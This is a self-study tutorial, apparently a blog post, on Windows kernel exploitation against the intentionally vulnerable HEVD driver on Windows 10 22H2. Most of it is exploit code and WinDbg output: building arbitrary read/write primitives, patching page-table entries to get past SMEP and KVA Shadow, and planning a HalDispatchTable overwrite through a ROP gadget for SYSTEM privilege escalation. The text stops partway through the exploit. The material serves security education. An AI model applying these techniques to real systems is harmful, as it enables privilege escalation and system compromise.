Windows Kernel Exploitation — HEVD on Windows 10 22H2

ommadawn46
27 min readMay 9, 2024

--

Introduction

In this article, I’ll share the insights I’ve gained from self-studying Windows kernel exploitation.

Topics covered in this article include:

Overview of the Exploit:

  • Building Read/Write primitives using an arbitrary memory overwrite vulnerability
  • Bypassing security features (SMEP, KVA Shadow, PML4 Self-Reference Entry Randomization) on the latest Windows 10 version (22H2)
  • Privilege escalation to SYSTEM by executing token-stealing shellcode

HackSys Extreme Vulnerable Driver (HEVD)

HEVD is an intentionally vulnerable Windows device driver created for security education purposes.

HEVD is easy to install and provides many readily available reference exploits. Despite the complex nature of kernel exploitation, HEVD offers an accessible starting point for beginners.

HEVD implements various types of vulnerabilities, but for this article I will focus on the arbitrary memory overwrite vulnerability.

1. Arbitrary Overwrite

HEVD has a simple arbitrary memory overwrite vulnerability.

Below is the source code where this vulnerability exists:

DbgPrint("[+] Triggering Arbitrary Write\n");

//
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
//

*(Where) = *(What);

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/b02b6ea/Driver/HEVD/Windows/ArbitraryWrite.c#L103-L112

Both the What and Where variables are user-controllable, leading to a write-what-where condition.

Additionally, there is no verification to ensure that the addresses in Where and What reside in kernel space.

Therefore, exploiting this vulnerability allows an attacker to write arbitrary values to any address in kernel space.

Triggering the Vulnerability

The C code below defines the ‘ArbitraryWrite’ function, exploiting the vulnerability to perform arbitrary memory writes:

#define HEVD_IOCTL_ARBITRARY_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

BOOL ArbitraryWrite(HANDLE hHevd, PVOID where, PVOID what)
{
printf("[!] Writing: *(%p) = *(%p)\n", where, what);

PWRITE_WHAT_WHERE payload = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));
payload->What = (PULONG_PTR)what;
payload->Where = (PULONG_PTR)where;

DWORD lpBytesReturned;
return DeviceIoControl(
hHevd,
HEVD_IOCTL_ARBITRARY_WRITE,
payload,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&lpBytesReturned,
NULL
);
}

Executing the code below causes the device driver to overwrite memory at any specified address:

const char hello[] = "Hello, world!";
const char aaaaa[] = "AAAAAAAAAAAAA";

ArbitraryWrite(hHevd, hello, aaaaa)
printf("hello: %s\n", hello);
[!] Writing: *(000000CAFC0FFBF8) = *(000000CAFC0FFC18) 
hello: AAAAAAAAorld!

We can see that the first 8 bytes of hello[] have been overwritten with the first 8 bytes of aaaaa[].

Since the driver runs in kernel mode, by specifying a kernel space address for Where, an attacker can corrupt data in kernel space.

2. Arbitrary Read

This vulnerability is an arbitrary memory overwrite but also an arbitrary memory read vulnerability.

Contrary to the previous example, we set What to a kernel space address and Where to a user space address.

This will cause kernel space data to be written to user space.

This vulnerability allows an attacker to leak data from kernel space by writing to the Where address.

The code below implements the ‘ArbitraryRead’ function that performs an arbitrary memory read using ArbitraryWrite:

PVOID ArbitraryRead(HANDLE hHevd, PVOID addr) 
{
PVOID readBuf;
ArbitraryWrite(hHevd, &readBuf, addr);
return readBuf;
}

This function reads data from the specified address and returns that value, allowing data from kernel space to be leaked to user mode.

Later in the Exploit Development section, I will use these two functions — ArbitraryWrite and ArbitraryRead — to attempt executing shellcode in kernel mode.

Next, let's consider the Windows security features that will be obstacles to developing this exploit.

Security Features in Windows 10

This article will discuss the development of a kernel exploit targeting Windows 10 version 22H2.

OS Version

  • Windows 10 22H2 (Build 19045.3930)

OS Settings

  • KVA Shadow: Enabled
  • VBS/HVCI: Disabled

Process Settings

  • Integrity Level: Medium

Checking KVA Shadow setting

KVA Shadow is enabled by default when using a CPU vulnerable to Meltdown. The current setting can be checked using a tool called SpecuCheck. The output below is when it is enabled:

> SpecuCheck.exe
SpecuCheck v1.1.1 -- Copyright(c) 2018 Alex Ionescu
https://ionescu007.github.io/SpecuCheck/ -- @aionescu
--------------------------------------------------------

Mitigations for CVE-2017-5754 [rogue data cache load]
--------------------------------------------------------
[-] Kernel VA Shadowing Enabled: yes
├───> Unnecessary due lack of CPU vulnerability: no
├───> With User Pages Marked Global: no
├───> With PCID Support: yes
└───> With PCID Flushing Optimization (INVPCID): yes
...

Checking VBS/HVCI setting

VBS/HVCI is disabled by default on Windows 10. This setting can be checked from the System Summary item by launching the System Information tool. Below is when it's disabled:

Virtualization-based security: Not enabled

If this feature is enabled, the difficulty of kernel exploitation drastically increases. The exploit created in this article will not work in an environment where VBS/HVCI is enabled.

Conversely, VBS/HVCI is enabled by default in Windows 11. Therefore, to successfully perform kernel exploitation on Windows 11, several additional security features need to be bypassed.

Integrity Level

Integrity Level: Medium is the most basic integrity level set for almost all processes in Windows.

If the Integrity Level is Low, restrictions are tighter, making kernel exploitation more challenging. Conversely, with Medium, the base address of the kernel can be obtained by calling Win32 APIs, so in some ways the difficulty is lowered.

Now, I will explain the security features that need to be bypassed in order to successfully exploit under the above settings.

1. SMEP (Supervisor Mode Execution Prevention)

SMEP is a security feature introduced in Windows 8 that prevents user mode code from executing in kernel (supervisor) mode.

Prior to SMEP, as long as you could hijack control flow, arbitrary code execution was easily possible simply by having the kernel execute user mode code.

SMEP Mechanism

SMEP is implemented using CPU features. When SMEP is enabled in the CPU (bit 20 of the CR4 register is 1), this feature prohibits execution of user mode code (bit 2 of the page table entry is 1).

Below is the output of the CR4 register value in kernel mode using WinDbg:

0: kd> .formats cr4
Evaluate expression:
Hex: 00000000`00370e78
Decimal: 3608184
Decimal (unsigned) : 3608184
Octal: 0000000000000015607170
Binary: 00000000 00000000 00000000 00000000 00000000 00110111 00001110 01111000
Chars: .....7.x
Time: Thu Feb 12 03:16:24 1970
Float: low 5.05614e-039 high 0
Double: 1.78268e-317

Bit 20 of CR4 is set to 1, indicating SMEP is enabled.

There is a convention of counting CPU bits starting from ‘0’, which causes confusion when counting from ‘1’. This was confusing to me at first.

Next is the output of the page table entry value:

1: kd> !pte rip  
VA fffff8040a105f1a
PXE at FFFFFDFEFF7FBF80 PPE at FFFFFDFEFF7F0080 PDE at FFFFFDFEFE010280 PTE at FFFFFDFC02050828
contains 0000000004909063 contains 000000000490A063 contains 0A000000065A2863 contains 0000000238F4D821
pfn 4909 ---DA--KWEV pfn 490a ---DA--KWEV pfn 65a2 ---DA--KWEV pfn 238f4d ----A--KREV

The executing page table entry is allocated as kernel mode code. WinDbg parses it and indicates it with a K.

As shown above, when Windows is operating in kernel mode, SMEP is set as enabled and the code allocated by the kernel is set to kernel mode.

On the other hand, code allocated by normal processes is set to user mode (U). If that user mode code is executed while SMEP is enabled, the CPU generates a page fault and immediately triggers a Blue Screen of Death (BSOD).

This mechanism thwarts attacks that execute user-mode code in the kernel.

General Strategies for Bypassing SMEP

Multiple methods can be considered for bypassing SMEP:

  • Disable SMEP by modifying the CR4 register value before executing user mode code
  • Allocate an executable region in kernel space and write arbitrary code as kernel mode code
  • Modify the page table entry of user mode code and change it to kernel mode code

2. KASLR (Kernel Address Space Layout Randomization)

KASLR is a feature introduced in Windows 8.1 that randomizes the layout of the kernel address space.

It makes it difficult for attackers to predict addresses in kernel space. It's the kernel space version of ASLR in user space.

KASLR Mechanism

When KASLR is enabled, the base address of the kernel is randomly determined at OS boot time.

Using WinDbg, we can observe that the kernel base address changes with each system reboot.

1: kd> ? nt
Evaluate expression: -8795109457920 = fffff800`3aa00000
0: kd> ? nt
Evaluate expression: -8785399644160 = fffff802`7d600000

General Strategies for Bypassing KASLR

In an Integrity Level: Medium environment, the kernel base address can be obtained using APIs like EnumDeviceDrivers or NtQuerySystemInformation. On Windows, KASLR is not very effective as a security feature against processes with Integrity Level: Medium or higher.

3. PML4 Self-Reference Entry Randomization

PML4 Self-Reference Entry Randomization, introduced as a strengthening patch for KASLR in Windows 10 version 1607, randomly determines the PML4 self-reference entry to enhance security.

Before this feature was added, the PML4 self-reference entry was a fixed value. So even when KASLR was enabled, the virtual address for accessing page table entries could be guessed.

PML4 Self-Reference Entry Randomization Mechanism

At OS boot time, PML4 Self-Reference Entry Randomization randomly determines the PML4 self-reference entry in the range of 0x100-0x1FF.

Checking with WinDbg, we can see the virtual address of the page table entry changes each time the system is rebooted.

0: kd> !pte 0x0
VA 0000000000000000
PXE at FFFFEDF6FB7DB000 PPE at FFFFEDF6FB600000 PDE at FFFFEDF6C0000000 PTE at FFFFED8000000000
contains 8A0000004D50E867 contains 0000000000000000
pfn 4d50e ---DA--UW-V contains 0000000000000000
not valid
0: kd> !pte 0x0
VA 0000000000000000
PXE at FFFFFDFEFF7FB000 PPE at FFFFFDFEFF600000 PDE at FFFFFDFEC0000000 PTE at FFFFFD8000000000
contains 8A00000004FEE867 contains 0000000000000000
pfn 4fee ---DA--UW-V contains 0000000000000000
not valid

Before this feature’s introduction, the PML4 self-reference entry was fixed at 0x1ED, meaning the virtual address of PML4 was consistently 0xFFFFF6FB7DBED000.

If you want to know more about the paging mechanism here, I recommend reading this article by Core Security.

General Strategies for Bypassing PML4 Self-Reference Entry Randomization

The kernel needs to be able to rewrite page table entries for memory management, so there must be a mechanism for it to obtain the virtual addresses of the page table entries. In Windows, the PML4 self-reference entry is stored at a specific address inside the kernel (nt!MiGetPteAddress + 0x13), and the kernel uses this value to calculate the virtual address of page table entries.

The offset to this address is known, so if data can be leaked from kernel space, the value can be read out to bypass PML4 Self-Reference Entry Randomization.

4. kCFG (Kernel Control Flow Guard)

kCFG is a security feature introduced in Windows 10 version 1703 that mitigates hijacking of control flow by overwriting function pointers. It only fully functions when VBS/HVCI is enabled, but partial protection (Kernel-mode Address Check) works even when disabled.

kCFG and Kernel-mode Address Check Mechanism

kCFG checks whether the jump destination address is a trusted address during indirect function calls. This makes it difficult not only to jump to shellcode, but also to jump to ROP gadgets.

However, when VBS/HVCI is disabled, Windows only checks whether the call destination address is in the kernel mode address range (top bit is 1).

General Strategies for Bypassing Kernel-mode Address Check

Here we consider bypass techniques assuming VBS/HVCI is disabled (only Kernel-mode Address Check).

In this case, directly jumping to user mode code is not possible even if a function pointer is overwritten. Therefore, it needs to be combined with techniques like ROP that reuse code within kernel space.

Specifically, a bypass technique would be to find a ROP gadget in kernel mode code that jumps to user mode code, and jump to user mode code via that ROP gadget.

5. KVA Shadow (Kernel Virtual Address Shadow)

KVA Shadow is a mitigation for the Meltdown vulnerability implemented in Windows 10 in March 2018. It's known as KPTI on Linux.

Although originally a feature to mitigate Meltdown, it has the secondary effect of preventing execution of user mode code in kernel mode, similar to SMEP.

KVA Shadow Mechanism

Normally, one PML4 table used for paging is prepared per process. However, in an environment where KVA Shadow is enabled, two PML4 tables are prepared: a "PML4 table for user mode" and a "PML4 table for kernel mode".

These PML4 tables map different content, and unnecessary content for each mode is left unmapped. The OS strengthens the separation of user mode and kernel mode memory by switching between the two types of PML4 tables according to the context during context switches.

Let's perform kernel debugging with WinDbg and check the page table entry of user mode code from kernel mode.

When KVA Shadow is disabled:

1: kd> !pte 000001e59fae0003
VA 000001e59fae0003
PXE at FFFFFDFEFF7FB018 PPE at FFFFFDFEFF603CB0 PDE at FFFFFDFEC07967E8 PTE at FFFFFD80F2CFD700
contains 0A000001B6507867 contains 0A0000020A908867 contains 0A0000020A609867 contains 00000001E2181867
pfn 1b6507 ---DA--UWEV pfn 20a908 ---DA--UWEV pfn 20a609 ---DA--UWEV pfn 1e2181 ---DA--UWEV

When KVA Shadow is enabled:

0: kd> !pte 000001e59fae0003
VA 000001d9a5760003
PXE at FFFFFDFEFF7FB018 PPE at FFFFFDFEFF603B30 PDE at FFFFFDFEC0766958 PTE at FFFFFD80ECD2BB00
contains 8A000002295B2867 contains 0A000002293B3867 contains 0A000001F4FB4867 contains 00000001F8FF4867
pfn 2295b2 ---DA--UW-V pfn 2293b3 ---DA--UWEV pfn 1f4fb4 ---DA--UWEV pfn 1f8ff4 ---DA--UWEV

When KVA Shadow is enabled, we can see that PML4E is not executable (E-). By the way, PML4E is called PXE in the Windows world.

As shown above, when KVA Shadow is enabled, the user space address range is mapped as non-executable in the PML4 table for kernel mode.

Conversely, in the PML4 table for user mode, the kernel space address range is not mapped at all.

This mechanism is achieved by forcibly setting the XD (NX) bit of page table entries to 1. KVA Shadow is also called software SMEP because it works similarly to SMEP in preventing execution of user mode code in kernel mode.

General Strategies for Bypassing KVA Shadow

Multiple methods can be considered for bypassing KVA Shadow:

  • Switch to the PML4 table for user mode by modifying the CR3 register value before executing user mode code
  • Allocate an executable region in kernel space and write arbitrary code as kernel mode code
  • Modify the entry in the PML4 table for kernel mode and change it to executable

Exploit Development

Before starting exploit development, let's first devise an overall strategy for the exploit.

0. Goals & Strategy

Here, I will perform exploit development with the goal of privilege escalation.

Goal: Privilege escalation to SYSTEM privileges by executing a token stealing shellcode

To achieve the goal, we need to bypass all the security features introduced earlier by leveraging ArbitraryWrite and ArbitraryRead.

First, let's break down the exploit into steps and make a strategy.

Strategy 1. Bypass PML4 Self-Reference Entry Randomization

  • Premise 1: Kernel information can be read using ArbitraryRead
  • Premise 2: The PML4 self-reference entry is stored inside the kernel

→ Bypass by leaking the PML4 self-reference entry from kernel information

Strategy 2. Bypass SMEP and KVA Shadow

  • Premise 1: Kernel information can be modified using ArbitraryWrite
  • Premise 2: Using the PML4 self-reference entry leaked in Strategy 1, the virtual address of the shellcode's PML4 entry can be calculated

→ Bypass by specifying the virtual address of the PML4 entry and using ArbitraryWrite to modify the PML4 entry to XD bit = 0 and U/S bit = 0

Strategy 3. Bypass Kernel-mode Address Check

  • Premise 1: There is a known technique to make an indirect function call to an arbitrary address by overwriting a function pointer inside the kernel
  • Premise 2: There is a known ROP gadget inside the kernel that jumps to an address stored in a controllable register

→ Bypass by overwriting the function pointer with the address of the “ROP gadget that jumps to the address stored in a controllable register” and specifying the address of the user mode code in that register

Some additional processing is required, such as preparing the token stealing shellcode, triggering the function pointer call, and restoring the kernel state to the original to prevent BSOD. But overall, the goal can be achieved with the above strategy.

Now, based on the above strategy, let’s actually perform exploit development.

1. Bypassing PML4 Self-Reference Entry Randomization

Here, we aim to leak the PML4 self-reference entry from inside the kernel using ArbitraryRead.

Analyzing MiGetPteAddress

The kernel needs to be able to know the virtual address of page table entries for memory management. The function prepared for this purpose is a kernel mode function called MiGetPteAddress.

Disassembling this function with WinDbg shows the following code:

0: kd> u nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff807`8206b560 48c1e909 shr rcx,9
fffff807`8206b564 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff807`8206b56e 4823c8 and rcx,rax
fffff807`8206b571 48b80000000000ecffff mov rax,0FFFFEC0000000000h
fffff807`8206b57b 4803c1 add rax,rcx
fffff807`8206b57e c3 ret

This code retrieves the “virtual address of the PTE (Page Table Entry)” for the “virtual address passed as an argument”. The part 0FFFFEC0000000000h in this code includes the value of the PML4 self-reference entry.

Calculating virtual addresses of page table entries

Here, let’s simulate the above code in Python using the arbitrary address 0xFFFFF0123456789A as an example.

In [17]: hex(((0xFFFFF0123456789A >> 9) & 0x7FFFFFFFF8) + 0xFFFFEC0000000000)
Out[17]: '0xffffec78091a2b38'

If we decompose and compare the virtual addresses before and after this calculation:

  • Original (before calculation): 0xFFFFF0123456789A
1111111111111111 (0xffff) - Ignored
111100000 (0x01e0) - PML4 index
001001000 (0x0048) - PDPT index
110100010 (0x01a2) - PDT index
101100111 (0x0167) - PT index
100010011010 (0x089a) - Physical address offset
  • PTE (after calculation): 0xFFFFEC78091A2B38
1111111111111111 (0xffff) - Ignored
111011000 (0x01d8) - PML4 index
111100000 (0x01e0) - PDPT index
001001000 (0x0048) - PDT index
110100010 (0x01a2) - PT index
101100111000 (0x0b38) - Physical address offset

Before and after the calculation, the value shifts to a lower page structure, like PML4 index → PDPT index, PDPT index → PDT index, PDT index → PT index. Also, the PML4 index after calculation contains a value (0x01d8) that did not exist in the original virtual address.

This value (0x01d8) is the PML4 self-reference entry.

If you know the value of the PML4 self-reference entry, you can calculate the virtual addresses of PDTE, PDPTE, and PML4E in the same way by repeating the same calculation.

  • PDTE: 0xFFFFEC763C048D10
1111111111111111 (0xffff) - Ignored  
111011000 (0x01d8) - PML4 index
111011000 (0x01d8) - PDPT index
111100000 (0x01e0) - PDT index
001001000 (0x0048) - PT index
110100010000 (0x0d10) - Physical address offset
  • PDPTE: 0xFFFFEC763B1E0240
1111111111111111 (0xffff) - Ignored
111011000 (0x01d8) - PML4 index
111011000 (0x01d8) - PDPT index
111011000 (0x01d8) - PDT index
111100000 (0x01e0) - PT index
001001000000 (0x0240) - Physical address offset
  • PML4E: 0xFFFFEC763B1D8F00
1111111111111111 (0xffff) - Ignored
111011000 (0x01d8) - PML4 index
111011000 (0x01d8) - PDPT index
111011000 (0x01d8) - PDT index
111011000 (0x01d8) - PT index
111100000000 (0x0f00) - Physical address offset

Leaking the PML4 Self-Reference Entry

This section will explore how to extract the value from the MiGetPteAddress code.

The part 0FFFFEC0000000000h is at an offset of 0x13 bytes from the address of MiGetPteAddress.

1: kd> dq nt!MiGetPteAddress+0x13 L1
fffff802`45c6b573 ffffec00`00000000

This location is at an offset of 0x26b573 bytes from the kernel base address.

1: kd> ? nt!MiGetPteAddress+0x13 - nt
Evaluate expression: 2536819 = 00000000`0026b573

We specify this offset and leak the value from kernel space using ArbitraryRead.

const size_t MiGetPteAddress13_Offset = 0x26b573;
PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);
PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);
printf("[*] Leaked PTE virtual address: %p\n", pteVirtualAddress);

And extract the PML4 self-reference entry from the leaked value with the following code:

unsigned int ExtractPml4Index(PVOID address)
{
return ((uintptr_t)address >> 39) & 0x1ff;
}
unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);
printf("[*] Extracted PML4 Self Reference Entry index: %03x\n", pml4SelfRef_Index);

Running the code, we can leak the PML4 self reference entry as follows:

[!] Writing: *(000000BF51BBFC60) = *(FFFFF80560C6B573)
[*] Leaked PTE virtual address: FFFFEC0000000000
[*] Extracted PML4 Self Reference Entry index: 1D8

With this, we’ve incorporated the processing to bypass PML4 Self-Reference Entry Randomization into the exploit.

2. Bypassing SMEP and KVA Shadow

Now that we’ve leaked the PML4 self reference entry, next we aim to bypass SMEP and KVA Shadow by modifying the shellcode’s PML4E.

Dummy Shellcode

Copy a dummy do-nothing shellcode (nop/nop/nop/int3) to an executable memory region.

PVOID AllocExecutableCode(PVOID rawCode, size_t size)
{
PVOID executableCode = VirtualAlloc(
NULL,
size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
RtlMoveMemory(executableCode, rawCode, size);
return executableCode;
}
unsigned char rawShellcode[] = {
0x90, 0x90, 0x90, 0xCC // nop, nop, nop, int3
};
PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));
printf("[*] Executable shellcode: %p\n", shellcode);

Use WinDbg to check the shellcode’s PML4E allocated in kernel mode.

[*] Executable shellcode: 0000024BBD5D0000
0: kd> db 0000024BBD5D0000 L4
0000024b`bd5d0000 90 90 90 cc ....

0: kd> !pte 0000024BBD5D0000
VA 0000024bbd5d0000
PXE at FFFFDB6DB6DB6020 PPE at FFFFDB6DB6C04970 PDE at FFFFDB6D8092EF50 PTE at FFFFDB0125DEAE80
contains 8A00000141D01867 contains 0A0000020CC02867 contains 0A000001F612E867 contains 00000001F6952867
pfn 141d01 ---DA--UW-V pfn 20cc02 ---DA--UWEV pfn 1f612e ---DA--UWEV pfn 1f6952 ---DA--UWEV

Currently, the shellcode’s PML4E (virtual address: 0xFFFFDB6DB6DB6020) has been changed to non-executable (-) by KVA Shadow. And because it is user mode (U) code, it's also non-executable due to SMEP.

We will modify this shellcode’s PML4E to executable (-E) and kernel mode (UK) to bypass KVA Shadow and SMEP.

Calculating the shellcode’s PML4E virtual address

PML4E can be modified with ArbitraryWrite, but to do so we first need to know the virtual address of PML4E.

The code to calculate the virtual address of PML4E is as follows:

PVOID CalculatePml4VirtualAddress(unsigned int pml4SelfRefIndex, unsigned int pml4Index)
{
uintptr_t address = 0xffff;
address = (address << 0x9) | pml4SelfRefIndex; // PML4 Index
address = (address << 0x9) | pml4SelfRefIndex; // PDPT Index
address = (address << 0x9) | pml4SelfRefIndex; // PDT Index
address = (address << 0x9) | pml4SelfRefIndex; // PT Index
address = (address << 0xC) | pml4Index * 8; // Physical Address Offset
return (PVOID)address;
}

Using the leaked PML4 self reference entry value, calculate the virtual address of PML4E.

unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);
printf("[*] Extracted shellcode's PML4 index: %03x\n", pml4Shellcode_Index);

PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);
printf("[*] Calculated virtual address for shellcode's PML4 entry: %p\n", pml4Shellcode_VirtualAddress);

We can confirm it yields the same virtual address (0xFFFFDB6DB6DB6020) as when checked with WinDbg.

[*] Extracted shellcode's PML4 index: 004
[*] Calculated virtual address for shellcode's PML4 entry: FFFFDB6DB6DB6020

Leaking the shellcode’s PML4E

Using the virtual address above, leak the PML4E value with ArbitraryRead.

uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);
printf("[*] Leaked shellcode's PML4 entry: %p\n", (PVOID)originalPml4Shellcode_Entry);
[!] Writing: *(000000A56EFDF9F0) = *(FFFFDB6DB6DB6020)
[*] Leaked shellcode's PML4 entry: 8A00000141D01867

From the execution result, we can see that the value 8A00000141D01867 is set as PML4E.

To understand the meaning of this value, I wrote a Python script that parses PML4E values. Let’s parse the shellcode’s PML4E with this script.

Here is the execution result:

> python parse_pml4e.py 8A00000141D01867
PML4E: 1000101000000000000000000000000101000001110100000001100001100111
Bit 0: Present - Set
Bit 1: Read/Write - Set
Bit 2: User/Supervisor - Set
Bit 3: Page-Level Write-Through - Not Set
Bit 4: Page-Level Cache Disable - Not Set
Bit 5: Accessed - Set
Bit 63: Execute Disable - Set
Physical Frame Number (PFN): 0x141d01

From this result, we can see that by clearing bits 2 and 63 to 0, we can change it to a kernel mode (K) and executable (E) state.

Modifying the shellcode’s PML4E

I implemented a function (ModifyPml4EntryForKernelMode) that clears the above 2 bits.

uintptr_t ModifyPml4EntryForKernelMode(uintptr_t originalPml4Entry)
{
uintptr_t modifiedPml4Entry = originalPml4Entry;
modifiedPml4Entry &= ~((uintptr_t)1 << 2); // Clear U/S bit (Kernel Mode)
modifiedPml4Entry &= ~((uintptr_t)1 << 63); // Clear XD bit (Executable)
return modifiedPml4Entry;
}

Using ModifyPml4EntryForKernelMode to clear the bits, overwrite the shellcode’s PML4E with that value.

uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);
printf("[*] Modified shellcode's PML4 entry: %p\n", (PVOID)modifiedPml4Shellcode_Entry);

ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &modifiedPml4Shellcode_Entry);
printf("[*] Overwrote PML4 entry to make shellcode executable in kernel mode\n");
[*] Modified shellcode's PML4 entry: 0A00000141D01863
[!] Writing: *(FFFFDB6DB6DB6020) = *(000000A56EFDFA68)
[*] Overwrote PML4 entry to make shellcode executable in kernel mode

After overwriting PML4E, let’s check the shellcode’s PML4E with WinDbg.

0: kd> !pte 0000024BBD5D0000
VA 0000024bbd5d0000
PXE at FFFFDB6DB6DB6020 PPE at FFFFDB6DB6C04970 PDE at FFFFDB6D8092EF50 PTE at FFFFDB0125DEAE80
contains 0A00000141D01863 contains 0A0000020CC02867 contains 0A000001F612E867 contains 00000001F6952867
pfn 141d01 ---DA--KWEV pfn 20cc02 ---DA--UWEV pfn 1f612e ---DA--UWEV pfn 1f6952 ---DA--UWEV

The shellcode’s PML4E has been changed to executable (E) and kernel mode (K).

With this, the shellcode is now executable in kernel mode. SMEP and KVA Shadow bypass complete.

3. Bypassing Kernel-mode Address Check

Since we’ve succeeded in securing shellcode executable in kernel mode, next let’s consider how to point RIP to the shellcode.

Overwriting HalDispatchTable

Inside the Windows kernel, there is a table of function pointers called HalDispatchTable. Overwriting function pointers included in this table to hijack control flow has become a standard technique in Windows kernel exploitation.

HalDispatchTable+0x8 normally contains a pointer to a function called HaliQuerySystemInformation. And this function pointer is indirectly called within a function called NtQueryIntervalProfile.

By taking advantage of this and modifying HalDispatchTable+0x8, an attacker can call an arbitrary address in kernel mode by executing NtQueryIntervalProfile in that state.

Finding ROP gadgets in ntoskrnl.exe

However, this time the partial protection of kCFG, Kernel-mode Address Check, is checking “whether the indirect function call destination is in the kernel address range”. Therefore, we cannot directly jump to shellcode allocated in the user address range with the above technique.

On the other hand, code inside the kernel will pass Kernel-mode Address Check. In other words, we can use the above technique to jump to a ROP gadget inside the kernel.

From here, let’s consider a method to jump to shellcode by going through a ROP gadget inside the kernel.

The Windows kernel binary exists at the following path:

C:\Windows\System32\ntoskrnl.exe

Run rp++ on this binary to extract ROP gadgets.

.\rp-win.exe -f .\ntoskrnl.exe -r 5 > .\ntoskrnl.txt

Grepping the results, we can find several ROP gadgets that directly jump to registers:

0x14060daa6: jmp rax ; (1 found)
0x14045751a: jmp rsi ; (1 found)
0x14080d5db: jmp r13 ; (1 found)

Strategy for hijacking RIP

By using ROP gadgets like the above, there is a possibility of transferring kernel mode control flow to shellcode.

The specific steps are as follows:

  1. Overwrite HalDispatchTable+0x8 with the address of a ROP gadget
  2. Set the address of the shellcode in the register
  3. Trigger the indirect function call of HalDispatchTable+0x8

If the value of the register set in 2. remains as is at the timing when the ROP gadget in 3. is called, kernel mode control flow should transfer to the shellcode.

Investigating controllable registers

To identify registers controllable from user mode code, let’s do an experiment using WinDbg.

The experiment steps are as follows:

  1. Set breakpoints on NtQueryIntervalProfile and HaliQuerySystemInformation
  2. Call NtQueryIntervalProfile
  3. When the breakpoint is hit at NtQueryIntervalProfile, overwrite the register values to arbitrary values and continue processing
  4. When the breakpoint is hit at HaliQuerySystemInformation, check if the register values set in 3. remain

Set breakpoints in WinDbg.

1: kd> bp nt!NtQueryIntervalProfile
1: kd> bp nt!HaliQuerySystemInformation

Call NtQueryIntervalProfile with the code below.

HMODULE ntdll = GetModuleHandle("ntdll");
FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, "NtQueryIntervalProfile");
ULONG dummy = 0;
ntQueryIntervalProfileFunc(2, &dummy);

Run the code and confirm it breaks as expected.

Breakpoint 1 hit
nt!NtQueryIntervalProfile:
fffff806`08134430 48895c2408 mov qword ptr [rsp+8],rbx

Overwrite registers that don’t seem to impact operation when modified (other than those used for arguments or control).

1: kd> r rax=4141414141414141
1: kd> r rbx=4242424242424242
1: kd> r rsi=4343434343434343
1: kd> r rdi=4444444444444444
1: kd> r r8=4545454545454545
1: kd> r r9=4646464646464646
1: kd> r r10=4747474747474747
1: kd> r r11=4848484848484848
1: kd> r r12=4949494949494949
1: kd> r r13=5050505050505050
1: kd> r r14=5151515151515151
1: kd> r r15=5252525252525252

Continue processing and break at HaliQuerySystemInformation.

Breakpoint 2 hit  
nt!HaliQuerySystemInformation:
fffff806`08392ef0 4055 push rbp

Check the register values at this time and identify which registers are controllable.

1: kd> r  
rax=fffff80608392ef0 rbx=000000ae55dbfeb0 rcx=0000000000000001
rdx=0000000000000018 rsi=4343434343434343 rdi=4444444444444401
rip=fffff80608392ef0 rsp=fffffd822daef428 rbp=fffffd822daef540
r8=fffffd822daef460 r9=fffffd822daef490 r10=fffff80608392ef0
r11=0000000000000000 r12=4949494949494949 r13=5050505050505050
r14=5151515151515151 r15=5252525252525252
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
nt!HaliQuerySystemInformation:
fffff806`08392ef0 4055 push rbp

The results indicate that the rsi, r12, r13, r14, r15 registers can be controlled from user mode.

Setting a value in the R13 register

Among the above registers, select one for which a jmp instruction ROP gadget exists inside the kernel. This time I will use r13.

Since registers cannot be directly manipulated from C language code, the processing to set a value in the register needs to be written in assembly language.

Below is an implementation of a function in assembly language designed to assign the value of the first argument to the R13 register.

BITS 64
global SetR13
section .text

SetR13:
mov r13, rcx ; Set the 1st argument to r13
ret

SetR13.asm

Embedding in C source code

In Visual Studio, inline assembly (__asm) is currently not supported for the x64 architecture. Therefore, some ingenuity is required to call the above function within the exploit.

Using an extern declaration and linking is probably the proper way, but since the compilation settings are troublesome, here we’ll take the approach of copying the binary code to an executable region and executing it.

The above assembly code can be assembled with nasm.

nasm.exe -f bin -o .\SetR13.bin .\SetR13.asm

I wrote a Python script that converts the assembled binary into a format that can be embedded in C code. After conversion, it looks like this:

> python hex.py SetR13.bin    
// size: 4
unsigned char rawShellcode[] = {
0x49, 0x89, 0xcd, 0xc3
};

Embed SetR13 in the C source code and call it with the shellcode address specified as an argument as follows:

// SetR13.asm
unsigned char rawSetR13[] = {
0x49, 0x89, 0xcd, 0xc3
};
PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));

((void (*)(PVOID))executableSetR13)(shellcode);

With this, the address of the shellcode will be set in the R13 register.

Checking offsets from the kernel base address

To modify the function pointer with ArbitraryWrite, we need to check the offsets of HalDispatchTable+0x8 and the ROP gadget (jmp r13) from the kernel base address.

The offset of nt!HalDispatchTable+0x8 can be checked with WinDbg as follows:

